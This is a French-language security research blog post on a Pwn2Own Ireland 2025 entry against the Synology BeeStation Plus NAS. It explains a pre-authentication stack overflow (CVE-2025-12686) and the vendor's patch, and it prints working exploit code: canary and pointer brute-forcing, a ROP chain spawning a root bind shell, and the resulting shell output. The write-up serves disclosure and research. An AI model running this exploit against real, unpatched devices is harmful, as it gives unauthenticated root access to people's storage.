Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
Cet article présente notre exploitation réussie lors de Pwn2Own Ireland 2025 ciblant la BeeStation Plus. Nous décrivons l’intégralité de notre démarche de recherche de vulnérabilités : cartographie de la surface d’attaque, analyse statique et dynamique du code, développement de l’exploit, et obtention finale d’un shell root sur l’équipement cible.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Contexte
L’année dernière, lors de Pwn2Own Ireland 2024, Synacktiv a ciblé avec succès la BeeStation BST150-4T, comme détaillé dans notre précédent billet de blog. La BeeStation est un NAS commercialisé par Synology depuis mars 2024.
Pour Pwn2Own Ireland 2025, un nouveau modèle de l’équipement est apparu dans la liste des cibles de l’événement : Synology BeeStation Plus (BST170-8T), commercialisé fin mai 2025. Naturellement, nous avons décidé de nous y intéresser de plus près.
Extraction du firmware et des applications
Le firmware de la BeeStation est publiquement disponible sur le site de Synology. Cependant, il est distribué sous forme chiffrée, ce qui implique une petite phase de préparation avant de pouvoir démarrer l’analyse. Plus tôt cette année, Synacktiv a publié synodecrypt, un outil capable de déchiffrer toutes les archives chiffrées de Synology (SPK, PAT, etc.).
Surface d’attaque
Avant d’entrer dans la phase de recherche de vulnérabilités, nous avons d’abord cartographié la surface d’attaque accessible dans les limites imposées par les règles de Pwn2Own Ireland 2025 :
An attempt in this category must be launched against the target's exposed network services, RF attack surface, or from the contestant's laptop within the contest network. Vulnerabilities in non-default apps/plugins, netatalk and MiniDLNA are out of scope.
Sur la BeeStation, nous avons identifié un sous-ensemble de services intéressants exposés et à l’écoute sur le réseau :
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:6600 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:6601 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:5001 0.0.0.0:* LISTEN 7985/nginx: master
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 7985/nginx: master
[...]
Même si d’autres services sont présents, le fait d’identifier qu’nginx expose les principales interfaces web constitue déjà un excellent point d’entrée.
Selon le chemin demandé, nginx redirige le trafic entrant vers différents backends. Dans notre cas, nous nous sommes principalement concentrés sur les différentes API exposées via le point d’entrée /webapi/entry.cgi.
La configuration d’nginx est répartie sur plusieurs fichiers, ce qui rend son analyse relativement fastidieuse. Heureusement, la configuration active complète peut être affichée à l’aide de la commande nginx -T.
L’inspection de cette configuration montre que les requêtes vers /webapi/entry.cgi sont redirigées vers la socket Unix /run/synoscgi.sock.
http {
upstream synoscgi {
server unix:/run/synoscgi.sock;
}
# [...]
server {
listen 5000 default_server;
listen [::]:5000 default_server;
# [...]
location ~ \.cgi {
include scgi_params;
scgi_pass synoscgi;
scgi_read_timeout 3600s;
}
À l’aide de netstat, nous pouvons énumérer les processus à l’écoute sur cette socket :
root@BeeStation:~# netstat -pax | grep synoscgi.sock
unix 2 [ ACC ] STREAM LISTENING 283367 29751/synoscgi /run/synoscgi.sock
Nous pouvons appliquer la même approche aux différentes sections de la configuration d’nginx afin d’identifier quels processus sont associés à chaque socket. Le schéma suivant illustre les différents services exposés via nginx.
Un grand nombre de routes d’API sont exposées via entry.cgi. Les clients interagissent avec ces routes en spécifiant l'API subsystem, la version et la méthode qu’ils souhaitent invoquer. Ces paramètres sont transmis via les champs HTTP POST ou GET api, version et method.
Toutes les routes d’API sont définies dans des fichiers .lib : des descripteurs JSON qui énumèrent les méthodes disponibles pour un endpoint donné et indiquent quelle bibliothèque partagée est responsable de leur traitement.
L’extrait suivant, par exemple, est issu de SYNO.API.Auth.lib et documente une partie de l’API authentication :
{
// [...]
"SYNO.API.Auth.Key": { // <- api
"allowUser": [
"admin.local",
"admin.domain",
"admin.ldap",
"normal.local",
"normal.domain",
"normal.ldap"
],
"appPriv": "",
"authLevel": 1,
"disableSocket": false,
"lib": "lib/SYNO.API.Auth.so",
"maxVersion": 7,
"methods": {
"7": [ // <- version
{
"grant": { // <- method
"cgiProcReusable": true,
"grantByUser": false,
"grantable": true,
"systemdSlice": ""
}
},
{
"get": {
"cgiProcReusable": true,
"grantByUser": false,
"grantable": true,
"systemdSlice": ""
}
}
]
},
"minVersion": 7,
"priority": 0,
"priorityAdj": 0,
"socket": "",
"socketConnTimeout": 600
},
// [...]
}
Il est également possible d’extraire les définitions d’API directement depuis les bibliothèques sous-jacentes. Chacune d’entre elles exporte le symbole GetAPITable, une fonction qui renvoie un pointeur vers une table contenant les champs suivants :
struct api_table_entry_t {
char *api;
uint64_t version;
char *method;
unsigned __int64 (__fastcall *func)(__int64, __int64);
};
Les définitions d’API exposent plus de 3 800 routes distinctes.
Cependant, la plupart de ces routes ne sont clairement pas atteignables dans un scénario d’attaque pré-authentifiée. En filtrant les définitions d’API sur le champ authLevel, nous avons identifié un total de 69 routes accessibles sans authentification.
Cela réduit considérablement la surface d’attaque et rend l’itération beaucoup plus rapide.
Vulnérabilité - CVE-2025-12686
Parmi les routes accessibles sans authentification, la méthode auth de l’endpoint SYNO.BEE.AdminCenter.Auth est vulnérable à un stack buffer overflow.
L’URL permettant d’atteindre cet endpoint est :
http://target_ip:5000/webapi/entry.cgi?api=SYNO.BEE.AdminCenter.Auth&version=1&method=auth
Le code en charge de traiter cette requête se trouve dans /var/packages/bee-AdminCenter/target/webapi/Auth/SYNO.BEE.AdminCenter.Auth.so. Cette bibliothèque partagée fait partie du package bee-AdminCenter, installé par défaut et spécifique à la BeeStation : elle n’est pas présente telle quelle sur DiskStation.
Lors du traitement de la requête, la fonction SYNO::BEE::AuthHandler::Auth de SYNO.BEE.AdminCenter.Auth.so est invoquée.
Cette fonction commence par récupérer le paramètre HTTP auth_info dans un std::string, puis appelle SYNO::BEE::Auth::AuthManagerImpl::Auth, implémentée dans libsynobeeadmincenter.so :
// SYNO.BEE.AdminCenter.Auth.so
unsigned __int64 __fastcall SYNO::BEE::AuthHandler::Auth(SYNO::BEE::AuthHandler *this) {
// [...]
SYNO::BEE::BsmManagerBuilder::Build(&bsm_manager);
vtable = bsm_manager->vtable;
auth = vtable->_ZNK4SYNO3BEE14BsmManagerImpl4AuthERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE;
// retrieve the argument auth_info into param_auth_info
basic_string(str_auth_info, "auth_info", "");
SYNO::APIRequest::GetAndCheckString(¶m_auth_info, *this, str_auth_info, 0, 0);
// [...]
// copy param_auth_info into the new std::string auth_info
_auth_info = (cpp_string_t *)SYNO::APIParameter<std::string>::Get(¶m_auth_info);
len = _auth_info->len;
auth_info.buf = (char *)v52;
basic_string(&auth_info, _auth_info->buf, &_auth_info->buf[len]);
SYNO::APIParameter<std::string>::~APIParameter(¶m_auth_info);
// call SYNO::BEE::Auth::AuthManagerImpl::Auth
((void (__fastcall *)(size_t *, BsmManager *, cpp_string_t *))auth)(v57, bsm_manager, &auth_info);
// [...]
}
SYNO::BEE::Auth::AuthManagerImpl::Auth appelle ensuite SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo :
// libsynobeeadmincenter.so
__m128i **__fastcall SYNO::BEE::Auth::AuthManagerImpl::Auth(
__m128i **a1,
SYNO::BEE::Auth::AuthManagerBuilder *auth_manager,
_QWORD *auth_info)
{
// [...]
SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo(v44, auth_manager, auth_info);
// [...]
}
Dans un premier temps, SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo décode auth_info via SLIBCBase64Decode dans decoded, un buffer de 4096 octets alloué sur la pile.
_QWORD *__fastcall SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo(
_QWORD *a1,
__int64 auth_manager,
cpp_string_t *auth_info)
{
char decoded[4096]; // [rsp+160h] [rbp-1048h]
// [...]
auth_info_len = auth_info->len;
decoded_len = auth_info_len; // [1]
memset(decoded, 0, 4096);
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
// [...]
}
SLIBCBase64Decode prend en entrée une chaîne de caractères encodée en base64 et la décode dans un buffer passé en argument.. Voici la définition de la fonction :
SLIBCBase64Decode(char *encoded, size_t encoded_len, char *decoded, size_t *decoded_len);
Au point [1], dans SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo, auth_info->len est utilisé comme longueur du buffer décodé. Or, auth_info->len est contrôlé par l’attaquant tandis que decoded est un buffer de taille fixe de 4096 octets.
Il en résulte un stack buffer overflow.
La stack-smashing protection est activée, donc un canary est présent sur la pile. Cependant, le serveur web fork pour chaque nouvelle connexion, ce qui fait que le canary garde toujours la même valeur, permettant à un attaquant de le bruteforcer et de le récupérer.
Et, cerise sur le gâteau, le programme CGI s’exécute avec les privilèges root.
Déclenchement de la vulnérabilité
Comme preuve de concept simple, nous pouvons encoder plus de 4096 octets et les placer dans le paramètre auth_info :
def send_request(data, timeout=None):
b64_data = base64.b64encode(data).decode().replace("=", "")
url_template = "http://NAS-IP:5000/webapi/entry.cgi"
url = url_template.replace("NAS-IP", ip_address)
r = requests.post(url, data={
"api": "SYNO.BEE.AdminCenter.Auth",
"version": "1",
"method": "auth",
"auth_info": b64_data
}, timeout=timeout)
return r
pld = b"A"*5000
send_request(pld)
Le serveur renvoie une page par défaut avec un code HTTP 502 : ce sera notre oracle pour savoir si le processus a crashé. Il est également possible de vérifier le crash à l’aide de dmesg sur la BeeStation :
[11174.496182] traps: SYNO.BEE.AdminC[29340] general protection fault ip:7fcf024990fa sp:7ffc90fbc2c0 error:0 in libgcc_s.so.1[7fcf0248c000+10000]
Le crash se produit dans libgcc_s.so.1, une bibliothèque responsable de plusieurs mécanismes runtime bas niveau, notamment la gestion des exceptions. Cela suggère que notre entrée déclenche probablement une exception pendant le traitement. Des détails supplémentaires sur cette bibliothèque sont disponibles ici.
L’examen de SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo montre que trois conditions spécifiques doivent être satisfaites pour éviter que la fonction ne lève une exception :
// [...]
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
Json::Value::Value(v19, 0);
Json::Reader::Reader(&v22);
v20[0] = v21;
v7 = strlen(decoded);
basic_string(v20, decoded, &decoded[v7]);
v8 = Json::Reader::parse(&v22, v20, v19, 1);
if ( v20[0] != v21 )
operator delete(v20[0], v21[0] + 1LL);
sub_6A0E0(&v22);
if ( !v8 )
{
exception = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to parse authInfo");
// [...]
__cxa_throw(exception, off_114D98, (void (*)(void *))sub_81700);
}
if ( !Json::Value::isMember(v19, "state")
|| (v9 = (Json::Value *)Json::Value::operator[](v19, "state"), !Json::Value::isString(v9)) )
{
v3 = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to get [%s] from auth_info");
// [...]
__cxa_throw(v3, off_114D98, (void (*)(void *))sub_81700);
}
if ( !Json::Value::isMember(v19, "code")
|| (v10 = (Json::Value *)Json::Value::operator[](v19, "code"), !Json::Value::isString(v10)) )
{
v5 = __cxa_allocate_exception(0x30u);
basic_string_cstr(v20, "Failed to get [%s] from auth_info");
// [...]
__cxa_throw(v5, off_114D98, (void (*)(void *))sub_81700);
}
Nous avons donc besoin d’une chaîne JSON valide contenant les champs state et code. Heureusement, l'entrée est encodée en base64, ce qui signifie qu’elle peut contenir des octets arbitraires, y compris des octets nuls et des retours à la ligne. Cela nous permet d’ajouter un octet nul immédiatement après l’objet JSON de sorte que auth_info soit un JSON valide.
Notre charge utile pour déclencher la vulnérabilité se compose donc de l’objet JSON {"code":"","state":""}, suivi d’un octet nul pour terminer la chaîne, puis d’une longue séquence de caractères A.
Par exemple, le script suivant écrase le canary de pile :
pld = b'{"code":"","state":""}\x00'
pld += b'A'*4081
pld += b"\xbe\xba\xfe\xca\xef\xbe\xad\xde"
send_request(pld)
Pour déboguer le crash, nous pouvons soit utiliser le core dump généré, situé dans /volume1/@SYNO.BEE.AdminC.synology_geminilakemango_bst170-8t.65646.core.gz, soit nous attacher directement au processus synoscgi, comme montré plus tôt lors de l’énumération de la surface d’attaque.
En utilisant ps, nous observons qu’un grand nombre de processus fils synoscgi sont créés : un pour chaque requête entrante gérée par le serveur web.
root@BeeStation:~# ps faux | grep synoscgi
[...]
root 29751 0.0 0.6 48304 24464 ? S<s Oct27 0:09 synoscgi
system 7324 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7326 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7327 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 7333 0.0 0.1 48304 6632 ? S Oct27 0:00 \_ synoscgi
system 1545 0.0 0.1 48304 6632 ? S 02:54 0:00 \_ synoscgi
system 22967 0.0 0.1 48304 6632 ? S 09:42 0:00 \_ synoscgi
system 23001 0.0 0.1 48304 6632 ? S 09:42 0:00 \_ synoscgi
system 23627 0.0 0.1 48304 6632 ? S 09:55 0:00 \_ synoscgi
system 23839 0.0 0.2 48304 8304 ? S 09:59 0:00 \_ synoscgi
En utilisant gdb, nous pouvons nous attacher au processus parent et utiliser les commandes set follow-fork-mode child et set detach-on-fork off pour déboguer les processus fils au fur et à mesure de leur création.
À ce stade, nous pouvons finalement passer à la phase d’exploitation.
Exploitation
Prérequis
Pour Pwn2Own, nous devions nous appuyer sur le minimum de contraintes environnementales possible. Nous avons choisi d’exploiter la vulnérabilité depuis le même réseau. Cependant, comme mentionné précédemment, le service peut également être exposé sur Internet via QuickConnect, et le processus d’exploitation serait probablement très similaire dans ce scénario.
Compte tenu à la fois de la capacité de cette vulnérabilité et du mécanisme de fork, nous devons :
- Récupérer l’adresse IP de la
BeeStation(ou son équivalentquickconnect) - Retrouver le canary de pile
- Retrouver une adresse de pile
- Retrouver l’adresse de base de
libsynobeeadmincenter(utilisée pour construire la ROP chain)
À partir de là, nous pouvons enchaîner des gadgets ROP afin d’exécuter une commande arbitraire.
Fuite des éléments clés
Grâce au mécanisme de fork du serveur, nous pouvons bruteforcer le canary et les pointeurs de pile octet par octet, simplement en vérifiant si le processus crash après chaque tentative. Dans notre exploit, nous utilisons les fonctions suivantes pour récupérer le pointeur suivant sur la pile :
def bf_next_byte(pld, timeout=None):
l = list(range(0x100))
for b in tqdm(l):
try:
r = send_request(pld + bytes([b]), timeout=timeout)
except requests.exceptions.ReadTimeout:
continue
if r.status_code == 200:
return bytes([b])
return None
def bf_next_ptr(pld, timeout=None):
ptr = b""
while len(ptr) != 8:
b = bf_next_byte(pld + ptr, timeout)
if b is None:
print("fail")
return None
ptr += b
print(ptr)
return ptr
Cette approche nous permet également de faire fuiter le canary de pile :
start_time = time.time()
pld = b'{"code":"","state":""}\x00'
pld += b'A'*4081
if canary is None:
canary = bf_next_ptr(pld)
if canary is None:
exit()
stage1_time = int(time.time() - start_time)
print("[+] Canary leaked")
print("[+] Stage 1 execution time : %d seconds" % stage1_time)
Nous devons également faire fuiter un pointeur sur la pile afin d’empêcher le programme de crasher durant l’exploitation.
# [...]
pld += canary
pld += b"\x00"*8*2
if stack_addr is None:
stack_addr_bytes = bf_next_ptr(pld, timeout=1)
stack_addr = int.from_bytes(stack_addr_bytes, "little")
stage2_time = int(time.time() - stage1_time - start_time)
print("[+] Stack address leaked")
print("[+] Stage 2 execution time : %d seconds" % stage2_time)
Nous pouvons appliquer la même technique pour faire fuiter l’adresse de retour, ce qui nous donne par la suite l’adresse de base de libsynobeeadmincenter.so. La connaissance de cette adresse sera utilisée pour construire notre ROP chain.
# [...]
pld += p64(stack_addr)
pld += b"\x00"*8*4
if lib_addr is None:
lib_leak_bytes = bf_next_ptr(pld, timeout=1)
lib_leak = int.from_bytes(lib_leak_bytes, "little")
lib_addr = lib_leak - 0x0A11CA
if lib_addr & 0xfff:
if debug:
print(f"warning: lib_addr not 100% valid: {hex(lib_addr)}")
lib_addr = (lib_addr >> 12) << 12
stage3_time = int(time.time() - stage2_time - stage1_time - start_time)
print("[+] libsynobeeadmincenter base address leaked")
print("[+] Stage 3 execution time : %d seconds" % stage3_time)
Écrasement et ROP
Tout ce qui reste à faire est donc de chaîner les gadgets appropriés pour obtenir l’exécution de code.
Nous avons opté pour l’utilisation d’un gadget write-what-where afin de placer les chaînes nécessaires dans un buffer contrôlé (telles que /bin/bash et la charge utile du bind shell), puis d’invoquer SLIBCExecl. Cette fonction est importée par libsynobeeadmincenter.so et se comporte essentiellement comme l’appel système standard execl.
def arb_write_ptr(addr, value):
if debug:
print(f"write @ {hex(addr)} <- {value}")
assert len(value) == 8
ret = b""
ret += pop_rdi + p64(addr)
ret += pop_rsi + value
ret += p64(lib_addr + 0x0000000000080c6d) # mov qword ptr [rdi], rsi ; xor eax, eax ; ret
return ret
def arb_write(addr, data):
ret = b""
for i in range(0, len(data), 8):
if debug:
print(hex(addr + i), data[i:i+8])
ret += arb_write_ptr(addr + i, data[i:i+8].ljust(8, b"\x00"))
if debug:
print(ret)
return ret
# [...]
# setup strings
pld += arb_write_ptr(addr_buf, b"/bin/bas")
pld += arb_write_ptr(addr_buf+8, b"h\x00-c\x00".ljust(8, b"\x00"))
# some stack values are overwritten, so just skip them
pld += pop6 + p64(0)*6
pld += pop6 + p64(0)*6
pld += pop5 + p64(0)*5
pld += pop3 + p64(0)*3
pld += pop3 + p64(0)*3
pld += arb_write(addr_buf+0x10, cmd)
# setup args and call SLIBCExecl
pld += pop_rdi + p64(addr_buf)
pld += pop_rsi + p64(249)
pld += pop_rdx + p64(addr_buf+0xa)
pld += pop_rcx + p64(addr_buf+0x10)
pld += pop_r8 + p64(0)
pld += slibc_execl
r = send_request(pld)
À Pwn2Own, chaque tentative est limitée à une durée maximale de dix minutes. Le bruteforce des trois pointeurs est relativement lent, nous avons donc tiré parti du multithreading pour accélérer cette phase de l’exploit. Avec seize threads, il faut moins de trois minutes pour obtenir un shell.
➜ bee_admin_center git:(master) ✗ python3 exploit.py
[+] Start pwning Synology BeeStation Plus @ localhost
[...]
[+] Canary leaked
[+] Stage 1 execution time : 50 seconds
[...]
[+] Stack address leaked
[+] Stage 2 execution time : 59 seconds
[...]
[+] libsynobeeadmincenter base address leaked
[+] Stage 3 execution time : 44 seconds
[+] Total execution time : 154 seconds
[+] Opening connection to localhost on port 9001: Done
__________ .___ ___. _________ __ __ .__
\______ \__ _ ______ ____ __| _/ \_ |__ ___.__. / _____/__.__. ____ _____ ____ | | ___/ |_|__|__ __
| ___/\ \/ \/ / \_/ __ \ / __ | | __ < | | \_____ < | |/ \\__ \ _/ ___\| |/ /\ __\ \ \/ /
| | \ / | \ ___// /_/ | | \_\ \___ | / \___ | | \/ __ \\ \___| < | | | |\ /
|____| \/\_/|___| /\___ >____ | |___ / ____| /_______ / ____|___| (____ /\___ >__|_ \ |__| |__| \_/
\/ \/ \/ \/\/ \/\/ \/ \/ \/ \/
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),999(synopkgs),170597(bee-AdminCenter)
Retour d’expérience Pwn2Own
Pwn2Own Ireland 2025 s’est tenu à Cork du 20 au 23 octobre. Le tirage au sort a eu lieu le premier jour, et nous avons eu beaucoup de chance cette année : nous avons obtenu le tout premier créneau, et une seule autre équipe avait enregistré une entrée ciblant l’équipement. À titre de comparaison, en 2024, cinq équipes concouraient sur cette cible.
En anticipant d’éventuels problèmes de setup pendant l’événement, nous avions largement soumis notre exploit à des tests, même si le processus d’exploitation en lui-même était relativement simple. Malgré cette préparation, il nous a finalement fallu trois tentatives pour compromettre l’équipement, et nous avons demandé un redémarrage entre la deuxième et la troisième tentative.
Nous n’avons pas été en mesure de déterminer précisément ce qui a échoué lors des tentatives ratées, mais nous savons que le troisième leak, l’adresse de base de la bibliothèque cible, ne s’est pas comporté comme prévu, alors que les deux premiers leaks fonctionnaient de manière fiable.
Heureusement, tout s’est aligné lors de la troisième tentative, et l’exploit s’est exécuté sans accroc.
De façon surprenante, Synology n’a pas publié de mise à jour de dernière minute pour la BeeStation, nous n’avons donc pas eu besoin de mettre à jour notre exploit ni de chercher une vulnérabilité alternative.
Le correctif
Le 30 octobre, Synology a publié une mise à jour BSM (c’est-à-dire une mise à jour de l’OS), version 1.3.2-65648. Nous pouvons extraire cette nouvelle version et utiliser Meld pour mettre en évidence ce qui a été modifié. Dans cette mise à jour, certains profils AppArmor ont été créés, d’autres ont été mis à jour. Le module noyau flashcache_syno.ko a été modifié, et une nouvelle version de bee-AdminCenter est incluse : 1.3-0531, alors que la version précédente était 1.3-0528. Dans cette nouvelle version de bee-AdminCenter, plusieurs bibliothèques ont été mises à jour : libsynobeeadmincenter.so, libsynobeerpcdaemon.so et libsynodbus.so.
En examinant libsynobeeadmincenter.so, où se situe notre vulnérabilité, on constate qu’un test a été ajouté dans SYNO::BEE::Auth::AuthManagerImpl::ParseAuthInfo avant le décodage base64, ce qui empêche le débordement de buffer :
auth_info_len = auth_info->len;
- decoded_len = auth_info_len;
+ decoded_len = 4096;
memset(decoded, 0, 4096);
+ if ( auth_info_len > 0x1000 )
+ {
+ exception = (char *)__cxa_allocate_exception(0x30u);
+ len = auth_info->len;
+ basic_string_cstr(v29, "Failed to parse authInfo: size too large: %zu");
+ basic_string_cstr(v30, "auth/auth_manager.cpp");
+ // [...]
+ __cxa_throw(exception, off_115D98, sub_81930);
+ }
SLIBCBase64Decode(auth_info->buf, auth_info_len, decoded, &decoded_len);
La vulnérabilité a été référencée sous l’identifiant CVE-2025-12686.
Conclusion
Cette entrée Pwn2Own ciblant la BeeStation représente environ un mois de travail. La majeure partie de ce temps a été consacrée à l’analyse de la surface d’attaque et à la compréhension du comportement du serveur web. Une fois la surface d’attaque atteignable clairement définie, l’identification de la vulnérabilité et le développement de l’exploit ont pris moins d’une semaine.
Timeline
- 11 août 2025 : début des recherches
- 26 août 2025 : réception de la BeeStation Plus
- 5 septembre 2025 : surface d’attaque bien établie
- 12 septembre 2025 : vulnérabilité identifiée
- 13 septembre 2025 : obtention d'un shell root
- 21 octobre 2025 : Pwn2Own 2025 @ Cork, Irlande
- 30 octobre 2025 : correctif publié via une mise à jour BSM
Références
- Synology - BeeStation Plus 8TB Product Page
- ZDI - Pwn2Own Ireland 2024: Full Schedule
- ZDI - Pwn2Own Ireland 2024 Winning Entry Announcement
- ZDI - Pwn2Own Ireland 2024 Collision Announcement
- Synology - Launch of the BeeStation Plus
- ZDI - Pwn2Own Ireland 2025: Full Schedule
- ZDI - Pwn2Own Ireland 2025: Day One Results
- Midnight Blue - Pwn2Own Ireland 2024 Entries (Slides)
- Synology security advisory - CVE-2025-12686